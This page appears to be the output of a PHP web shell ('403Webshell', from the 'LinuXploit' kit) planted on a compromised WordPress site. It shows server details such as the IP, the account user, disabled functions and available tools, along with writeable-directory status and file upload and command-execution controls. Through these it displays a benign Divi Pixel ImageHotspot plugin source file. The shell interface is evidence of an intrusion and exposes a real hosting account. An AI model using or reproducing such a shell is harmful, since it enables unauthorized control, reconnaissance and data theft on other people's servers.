403Webshell
Server IP : 213.186.33.4  /  Your IP : 216.73.216.146
Web Server : Apache
System : Linux webm005.cluster103.gra.hosting.ovh.net 6.18.39-ovh-vps-grsec-zfs+ #1 SMP PREEMPT_DYNAMIC Tue Jul 21 12:03:15 CEST 2026 x86_64
User : karinebmkh ( 644538)
PHP Version : 8.4.22
Disable Function : _dyuweyrj4,_dyuweyrj4r,dl
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : ON  |  Sudo : OFF  |  Pkexec : OFF
Directory :  /home/karinebmkh/www/wp-content/plugins/divi-pixel/includes/modules/ImageHotspot/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /home/karinebmkh/www/wp-content/plugins/divi-pixel/includes/modules/ImageHotspot/ImageHotspot.php
<?php

class DIPI_ImageHotspot extends ET_Builder_Module {

	public $slug = 'dipi_image_hotspot';
	public $vb_support = 'on';

   protected $module_credits = array(
		'module_uri' => 'https://divi-pixel.com/modules/image-hotspot',
		'author' => 'Divi Pixel',
		'author_uri' => 'https://divi-pixel.com',
	);

	public function init() {
		$this->icon_path = plugin_dir_path(__FILE__) . " ";
		$this->name = esc_html__('Pixel Image Hotspot', 'dipi-divi-pixel');
		$this->child_slug = 'dipi_image_hotspot_child';
		$this->icon_path = plugin_dir_path(__FILE__) . "dp-image-hotspot.svg";
		$this->main_css_element = '%%order_class%%.dipi_image_hotspot';
	}

	public function get_settings_modal_toggles() 
	{
		return [
			'general' => [
				'toggles' => [
					'image' => esc_html__('Image', 'dipi-divi-pixel'),
				],
			],
			'advanced' => [
				'toggles' => [],
			],
		];
	}

	public function get_custom_css_fields_config() {

        $fields = [];

        $fields['hotspot_img'] = [
            'label'    => esc_html__('Hotspot Image', 'dipi-divi-pixel'),
            'selector' => '%%order_class%% .dipi-hotspot-image',
        ];

        $fields['hotspot_icon'] = [
            'label'    => esc_html__('Hotspot Icon', 'dipi-divi-pixel'),
            'selector' => '%%order_class%% .dipi-hotspot-icon',
        ];

        $fields['tooltip_img'] = [
            'label'    => esc_html__('Tooltip Image', 'dipi-divi-pixel'),
            'selector' => '%%order_class%% .dipi-tooltip-image',
        ];

        $fields['tooltip_icon'] = [
            'label'    => esc_html__('Tooltip Icon', 'dipi-divi-pixel'),
            'selector' => '%%order_class%% .dipi-tooltip-icon',
        ];
        
        $fields['title'] = [
            'label'    => esc_html__('Tooltip Title', 'dipi-divi-pixel'),
            'selector' => '%%order_class%% .dipi-tooltip-title',
        ];

        $fields['description'] = [
            'label'    => esc_html__('Tooltip Desc', 'dipi-divi-pixel'),
            'selector' => '%%order_class%% .dipi-tooltip-desc',
        ];

        $fields['button'] = [
            'label'    => esc_html__('Tooltip Button', 'dipi-divi-pixel'),
            'selector' => '%%order_class%% .dipi-tooltip-button',
        ];

        return $fields;
    }

	public function get_fields() 
	{

		$fields = [];

		$fields['img_src'] = [
            'type'               => 'upload',
            'option_category'    => 'basic_option',
            'hide_metadata'      => true,
            'upload_button_text' => esc_attr__('Upload an image', 'dipi-divi-pixel'),
            'choose_text' => esc_attr__('Choose an Image', 'dipi-divi-pixel'),
            'update_text' => esc_attr__('Set As Image', 'dipi-divi-pixel'),
            'description' => esc_html__('Upload an image to display in the module.', 'dipi-divi-pixel'),
            'dynamic_content'    => 'image',
            'toggle_slug'        => 'image'
        ];

		return $fields;
	}

	public function get_advanced_fields_config() 
	{

		$advanced_fields = [];

		$advanced_fields['fonts'] = false;
		$advanced_fields['text'] = false;
		$advanced_fields['text_shadow'] = false;
        $advanced_fields['link_options'] = false;

		$advanced_fields['margin_padding'] = [
		  'css' => [
			'margin' => '%%order_class%%',
			'padding' => '%%order_class%%',
			'important' => 'all',
		  ],
		];
		
		return $advanced_fields;
	}

	public function render($attrs, $content = null, $render_slug) {

        if(!isset($this->props['img_src']) || '' === $this->props['img_src']){
            return '';
        }

		$output = sprintf('
			<div class="dipi-image-hotspot">
				<img src="%2$s" class="dipi-hotspot-bg-image-main" alt="">
				%1$s
			</div>',
			$this->content,
			esc_attr($this->props['img_src'])
		);

		return $output;
	}
}

new DIPI_ImageHotspot;

Youez - 2016 - github.com/yon3zu
LinuXploit